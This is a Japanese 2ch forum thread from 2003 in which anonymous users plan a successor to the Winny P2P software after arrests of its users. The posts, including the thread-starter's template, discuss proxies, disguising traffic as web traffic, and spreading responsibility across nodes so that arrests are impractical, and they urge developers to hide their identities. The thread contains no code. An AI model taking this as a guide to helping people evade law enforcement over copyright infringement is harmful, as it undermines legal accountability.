一度それで取得できれば、後はWinnyみたいにノード情報をやりとりすればいい。

919 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:15 ID:MGnCC2d2
長く接続したところで、P2Pの存在が分かったら
逆にパケット監視に適してしまうかと・・・。

監視ができないようにできれば、また別だが。

920 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:15 ID:6MzrJw1A
>>915
頑張ってプロキシを海外に立ててくれ。

921 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:xwaGcwlR
>>918
不正アクセスにならん?

922 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:GuxrSiXR
>>918
固定ポートなんてしたら
 ISPが閉じてあぼーんだろ?

923 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:M7ChkXpF
>>915
金を集める方法についてはスレ違いです。
それくらい解れ。

>だからプロキシ的なものを経由する。で、それが
プロキシ的なものとしてSMTPを使えとか素っ頓狂なアイデアがあったけど、
何か具体的な案はあるの?


924 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:KeqTsmt0
>>918
なんか他人のPC攻撃してるみたいに見えそうですよ。
それに既出

>>915
すべての通信に串を通すのですか・・・


925 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:6MzrJw1A
>>918
それでは、固定のポートにIPスキャンしたら
強制的に排除することにします。

926 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:16 ID:qjbKKPs/
>>918
おまえ本気で、んなこと言ってんのかよ?

927 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:17 ID:6MzrJw1A
あまり特殊な動作をするとプロバイダに簡単に制限かけられるからねぇ。

928 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:17 ID:EF77BNOV
>>914
暗号化されたファイルを入手したとしてどうやって復元する?

929 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:17 ID:LFoYQrRu
>>913
共産主義も糞もないぞ
アメリカではFastTrackが最大のネットワークだ
ヨーロッパではed2kが双璧だ
MXの様なシステムは他の資本主義国家では廃れてるんだよ
海外のP2P事情くらい覚えろよ

930 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:17 ID:e8MIGzc8
>>909
現時点で暗号化されて分割されたキャッシュの中継ノードになったら捕まるのかどうかなんて解るの?
解るならソースと共に示してくれ。
MXもnyも出発は似たようなもんだろ。
MXの場合2chが発端じゃないけどP2Pだから絶対つかまんねーって高を括ってた香具師も居たんだよ。
捕まったからnyが出来た訳だ。これで大丈夫だろうって事で暫く落ち着いてたが
結局逮捕された訳だ。
で、次を考えてる段階。
人身御供だろ。

931 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:18 ID:M7ChkXpF
おまえら全員ピント外れです

K察のおとりPCを判別する手段はないんです


だから、責任分散とかでリスクを下げるとか、逮捕を現実的にできなくするとか、
そういう手段がいま考案中なんです
カクランって言ったら誤解したヤシ続出かよ。参った。。。

932 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:19 ID:e8MIGzc8
>>929
2chブラウザ使ってないのか?
レスアンカーのポップアップできないのか?

>>868
>>876
>>881
>>885
>>887
>>892
>>900
>>907


933 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:19 ID:6MzrJw1A
> K察のおとりPCを判別する手段はないんです

       ゆえに

> だから、責任分散とかでリスクを下げるとか、逮捕を現実的にできなくするとか、
> そういう手段が

        無いのです。

934 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:20 ID:fM6aenfy
FastTrackに移行すればいいだけだろ。
確かパレスチナに鯖があるんだよな。
英語だし厨房もよってこないぞ。

935 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:20 ID:M7ChkXpF
>>930
だから捕まるかどうか分からんから、安全側で逝こうって、何度も何度も。
人身御供もアリだけど、現実的に全員救済じゃないと誰も使わんってのアホが


936 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:21 ID:vVZx41Vd
>>923
重要なのは経路であって、プロトコルはカプセル化
できれば何でもよい。偽装できた方がなおよいし、
世界に多数あるWWWプロキシを使えるので、
実はHTTPが適しているかも。


937 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:21 ID:6MzrJw1A
定期あげ

938 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:22 ID:M7ChkXpF
>>933 だから、、、おまいは。。。

ノードを増やせば逮捕者数が増えるからむずかしくなると何度言ったら分かるんですか。
帰れ。マジ。

939 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:22 ID:6MzrJw1A
>>936
世界中のWWWプロキシにプロバイダが困っているほどのトラフィックが流れるのか。
そりゃ大変だな。

940 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:22 ID:pR2jJab5
>>927
でも、初めて起動したときだけだったら見逃されそうな気もしたのだが・・・
閉じるわけにいかない奴使って。

941 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:23 ID:/SMdQfPt
>>938
ただの煽りだろう。
何度も反論してると、アナタも煽りになってくるとおもいますよ。

942 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:23 ID:LFoYQrRu
>>930
MXはNAPSTER互換蔵、NYはfreenetが元になってる

>>932
分かったよ

943 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:23 ID:OXkHwXly
違法ソフトは駄目だな

944 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:23 ID:Ji3eZPM1
>>ID:M7ChkXpF
頑張ってるのはわかるが、少し落ち着け。

945 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:24 ID:fM6aenfy
難しく考えないでFastTrackに移行しろよ。

946 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:24 ID:KeqTsmt0
んで元1のテンプレはまだか?

947 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:24 ID:GuxrSiXR
>>940
80番ポートとか21番が無難なポートだよなぁー。
 まあ、パケット分析すれば、
 Web用じゃないことがわかるから意味ないが。

948 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:6MzrJw1A
>>938
ようするに「みんなでやればこわくない」理論ですね。
とことん簡単に使えるようにして厨を沢山招き入れますか?
そして警察に目をつけられると。

949 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:QrMMVoRa
>>938
ずっと一人煽りが混じってるのでよく見てから反応したほうがいい。
IDも定期的に変えてるし。あまり反応すると君が煽ってるように見える。


950 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:LFoYQrRu
>>934
FastTrackに勝手に接続すると訴訟問題になりそう
kaZaAliteは開発者不明だから・・・

951 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:e8MIGzc8
>>935
安全を前提に、全員が救済される事を考慮したシステムで逝くのは同意だけど、
実際運用が始まったとしよう。
絶対逮捕されないなんて言い切れるか?保証はあるか?
無理だろう。リスクすら隠して絶対安全を謳ってネットワークに組み入れるのか?
nyにもMXにも絶対はなかったぞ。それでもみんな使ってた訳だ。
アフォが。

952 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:OXkHwXly
終了。

953 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:25 ID:oa1eMOE5

次スレでは
出た意見をまとめてテンプレにしてくれ



954 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:26 ID:M7ChkXpF
>>948
釣りですか?

955 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:26 ID:cZt7mbIJ
テンプレ案 No.1

1, こ こ は "仕 様" を 決 め る ス レ ッ ド で す。
→ 実装 法律 に関しては、他のスレッドでお願いします。

2, 単発のアイデアは良く考えてから、カキコしてください。
十中八九、ガイシュツとかスレ違いとかピントはずれと言われちゃいます。」

UDP/コネクションレス/IP偽装/コネクションハイジャック…は、既出。

3, Mac版は? Unix / Linux / BSD 版は?
→ 次期Winnyでは一般的なプラットフォームをターゲットにしていますので
→ Unix板 Linux板 Mac板の方もアイディア・技術提供、宜しくお願い致します。

しかし、要望スレに自己主張してくれないと反映されないかも知れません。
※【神】UNIXにWinnyを移植【降臨】  ttp://pc.2ch.net/test/read.cgi/unix/1065863581/
※Linny開発プロジェクト Part2  ttp://pc.2ch.net/test/read.cgi/linux/1056278411/

4, 「現時点で組み始めたいんだけど」
→ まだ仕様が決まっていないので、余り先走らないで下さい。
→ しかし検証コード・テストコードを書くのは推奨しています。

5, 今回のタイーホは別件逮捕だと聞いたけど?
→ ガセ。Winnyが解析された可能性がある。

6, IPの偽装はできないのか?
→ 現実的ではない。

7, ソフト名を決めずに、検索エンジン等でかからなくするのが良い・ソフト名を放送禁止用語にすれ
→ モノができてから考えれ。


956 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:26 ID:vVZx41Vd
>>939
そこだけ正論唱えるなよw


957 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:27 ID:cZt7mbIJ

8, 特定のIP(ACCSとかJASRACとか)は、拒否する設定が良い
→ 一般のプロバイダが用いられた捜査に対して全く無意味。

9, 作者の身元を隠さなくていいのか?
→ 後で(公開の段階で)考えるべし。現状何もできてないので問題ない。
※今回の件から推測すると、実装し頒布した場合の作者さんは、
家 宅 捜 索 等 の 危 険 も 大 き い の で 決 し て 身 元 を 明 か さ ぬ 様 に、
書き込み・垢の取得に"充分"気を付けて下さい。

早い話、2chで「作るyo!」・「デキター!!」と言ったら、
「将来、逮捕・家宅捜索される危険がありますよ」って事。

10, K察・ACCSは使用禁止にしよう
.   ・雑誌掲載を禁止しよう
.   ・初心者には容易に使えないソフトが良い、
.   ・初期設定を難しくしよう、等
→ 後で(公開の段階で)考えるべし。公開直前にでも何とかなる。
→ また現実問題、スレのURLの転載を止める手段はない。

11, 通信径路上でのデータの暗号化にはXXが良い
.   ・「鍵は〜〜で流すのが良い」等 暗号関連
→ 暗号化はあくまでもプロバイダに特定されないためのもので、問題の本質ではない。
→ 例えば相手ノードが警察のPCだった場合などは、あらゆる暗号化は無意味。
→ どちらかというと、責任逃れの方法を考えなければならない

958 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:27 ID:M7ChkXpF
>>951
。。。だから、絶対安全とはだれも言ってない。ていうか、過去ログも読まずによくそんな強気な発言が。。。
釣りか。

959 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:27 ID:zwBM0pPK
pc98dosでしか動かせないようにしろ。これで初心者排除だ。PC98エミュ上で走らせるようにして、かつ98解説サイトを全てなくす。そして、誰も使用しなくなった。

960 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:27 ID:cZt7mbIJ
12, 「**機能付きにしる!」・「インターフェイスは**!」
→ それ専用のスレッドが御座いますので、そちらに書き込んで頂くか
→ プログラム組む時(実装時・設計時)に、再度お願いします。 項目14も参考に読む事。
※次期P2Pに対する要望スレ ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/

13, これ作っても違法なんじゃないの?
→ 法的な問題については専用のスレッドが御座いますので、そちらにお願いいたします。
→ そちらでは現在、法律に詳しい方を探しています。
※次期P2Pのクリアすべき課題を法的な観点から考察
  ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/

14, 基本部分をプラグイン・ライブラリの形で提供する事により

 ・言い訳出来る。
 ・開発者への負担を減らす
 ・プラットホームに依存しないプログラミングが可能
 ・別のソフトでも使い回せる。
 ・単体での入れ替えが、より容易になる。


961 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:27 ID:SMlEJ04G
>>954
相手しなくっていいよ

962 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:27 ID:KeqTsmt0
>>955
オツカリー

★要望提案テンプレ (゚Д゚)
--------------------------------------------------
【要望】
【メリット】
【デメリット】
【不備な点】
--------------------------------------------------

こんな感じでいいですか?

963 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:27 ID:LFoYQrRu
串鯖の鯖官にログ提出を求めると直ぐログ送ってくれるよ

964 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:28 ID:cZt7mbIJ
15, オープンソースにする利点、またはリスクは?

.  クローズドにすれば匿名性が高まるのではなく、
.  クラックが難しくなるだけで本質的な解決にはならない。

.  47氏の件を見れば解る様に、一人の開発者に全てを頼るのは"致命的"です。

.  オープンな規格で、オープンソースで開発する事により、

.  ・多くの対応ソフトウェアを作成する事が可能になり
.  ・大勢の人間がソースを手にする事が可能になり
.  ・ソースのチェック・修正・脆弱性の対応にも役立つ

.  ・もし暗号化/複合化部がクラックされても、仕様・規格があるので
.   より強力なライブラリを"別の誰かが"作成する事が可能です。
.   差し替えるだけなのでメンテナンス性も上がるでしょう。

.  もし、不安なら自分でソースを持ってきてRebuildすれば
.  信頼出来るバイナリが出来るかも知れません。

.  ※暗号化・複合化部は、一番肝になる部分ですので
.    ライブラリとして,バイナリでの提供を考えています。

.  # 14・15の部分については、突っ込み待ってます。

965 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:28 ID:/SMdQfPt
>>954
その一言もいらん。無視しろ無視。
無視ができないなら、ほめ殺せ。

966 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:28 ID:pJzaQHjj
責任の分散、暗号化など
これでも違法なものを扱う限り違法で逮捕される可能性はある、
が逮捕されにくくなると言う議論なのでこれでOK

白血病解析、指名手配犯など
社会的役割を付加して黒だろうけど逮捕できなくする
これも逮捕の可能性は100%あるが逮捕されにくくはなる

俺が知ってるのはこんだけ、他は?


967 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:28 ID:6MzrJw1A
>>956
誰と勘違いしているのか知らんけど、俺のは常に正論だ。

968 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:29 ID:e8MIGzc8
>>958
>現実的に全員救済じゃないと誰も使わんってのアホが
これを読む限りそう思ってるとしか見えないんだけど。

969 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:29 ID:zwBM0pPK
DOM禁止持ち逃げ禁止ってのはどう?俺的には勘弁だけど。

970 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:30 ID:6MzrJw1A
>>966
> 白血病解析、指名手配犯など
誰も協力しないって。
白血病なら専用のソフトで十分。


971 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:31 ID:/SMdQfPt
>>966
それの白血病関係もテンプレに入れてほしいです。

972 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:31 ID:KeqTsmt0
DOMも存在しているだけででそのネットワーク自体の利益となるような物って・・・

高速のDOMは中継してくれるだけで大助かりってことになりそうだ。

973 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:31 ID:fM6aenfy
ID:M7ChkXpFはプログラム組めるの?
組めないのにこんな所にいたら笑い者だな。

974 名前:名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:31 ID:Pz//YEfj

ttp://homepage3.nifty.com/machina/r/winny.html

これ見て思ったんだが転送と分割だけではダメなような気がする
詳しくはHPを見てくれ

結局のところP2Pと暗号・復号化は別のモノであるべきだ
一つの案としてテキスト形式しか流通できないようにしたP2Pにする
ポエムテキストしか流れなければ著作権などについてもまったく問題無しになる

でどうしてもテキスト以外のものを流したい香具師はテキスト変換鶴を作ればいいだけ
もちろんお互いの鶴は別々の扱いにするべきだけど
P2Pに関してはnyでも良いように感じるけどテキスト以外を共有する香具師がいるだろうからダメ

こんな感じのアウトラインで検討してみて

975 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:31 ID:6MzrJw1A
>>969
変わりに俺のポエムをあげます。

976 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:32 ID:e8MIGzc8
白血病解析なんて専門研究機関の協力なしには不可能だろう。

977 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:32 ID:6MzrJw1A
>>974
> ポエムテキストしか流れなければ著作権などについてもまったく問題無しになる
勘違いしてはいけない。ポエムにも著作権はある。


978 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:33 ID:LFoYQrRu
>>969
DOMも持ち逃げもそんな次元の話をしても意味が無いって

979 名前:名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:34 ID:Pz//YEfj
>>977
付け加えると自作のポエムで著作権を放棄した な

980 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:34 ID:kDFX/OpP
>断片化したファイルを複数ノードに中継させる
ってんじゃなくって常に多重DLってことにすれば簡単に対応できそう。
多重DLできない場合はDLできない。これで一人から全部DLすることが不可能になる。
問題は最初の一個。
これに対しては最初の一個のみ全部UPできるようにするとすればよい。
「不特定多数」の「多数」ではなくなる効果もあるのでは?
問題は「不特定」って奴だけど。
これに関しては、IMで最初の一人は挨拶するようにするってことでいいかも。
これじゃ駄目かなあ。

981 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:34 ID:cZt7mbIJ
>>962

それは、まだ早いよ。 要望スレに張るのが良いかもね。

982 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:35 ID:GuxrSiXR
結局 次スレは?

983 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 22:35 ID:cZt7mbIJ
そろそろ次スレお願いします。

俺は、建てられないので…( ノД`)

984 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:36 ID:6MzrJw1A
>>979
それと同じで、テキスト以外を流したいときも
自作の○○○で著作権を放棄した やつだけだよ。


985 名前:再カキコ・・・ 投稿日:03/11/29 22:36 ID:M7ChkXpF
次スレの1には、ぜひ次の一文を加えて頂きたい。


「単発のアイデアは良く考えてから、カキコしてください。
十中八九、ガイシュツとかスレ違いとかピントはずれと言われちゃいます。」


986 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:36 ID:pJzaQHjj
>>970
共有ってだけのソフトだから簡単に叩かれたんじゃないのかって話だったんだけど

987 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:37 ID:KeqTsmt0
>>981
でも提案する際テンプレに書けば見やすくなるしまとめサイトの人も探しやすくなると思う。
十分構想練って6ぐらいから導入で言いかw

988 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:37 ID:6MzrJw1A
1000

989 名前:985 投稿日:03/11/29 22:37 ID:M7ChkXpF
ゴメン間違えた・・・すでにあったとは。もう漏れ冷静じゃないな

990 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:37 ID:KeqTsmt0
じゃぁ立ててみる。

991 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:38 ID:6MzrJw1A
>>986
いくら機能があっても使われなきゃ一緒。
実質共有なら一緒。
BBS機能があるWinny2がそうであるように。

992 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:38 ID:oa1eMOE5

次スレは?

993 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:6MzrJw1A
9993

994 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:fD07iKhE
999

995 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:K5aZIT5+
で、誰が作るの?

996 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:kDFX/OpP
1000

997 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:6MzrJw1A
九百九十級

998 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:ock/ojX/
まだまだ続くよっ

999 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:fD07iKhE
999

1000 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 22:39 ID:7FMhGNp2



1001 名前:1001 投稿日:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。


dat2html ver0.04 (03/01/28)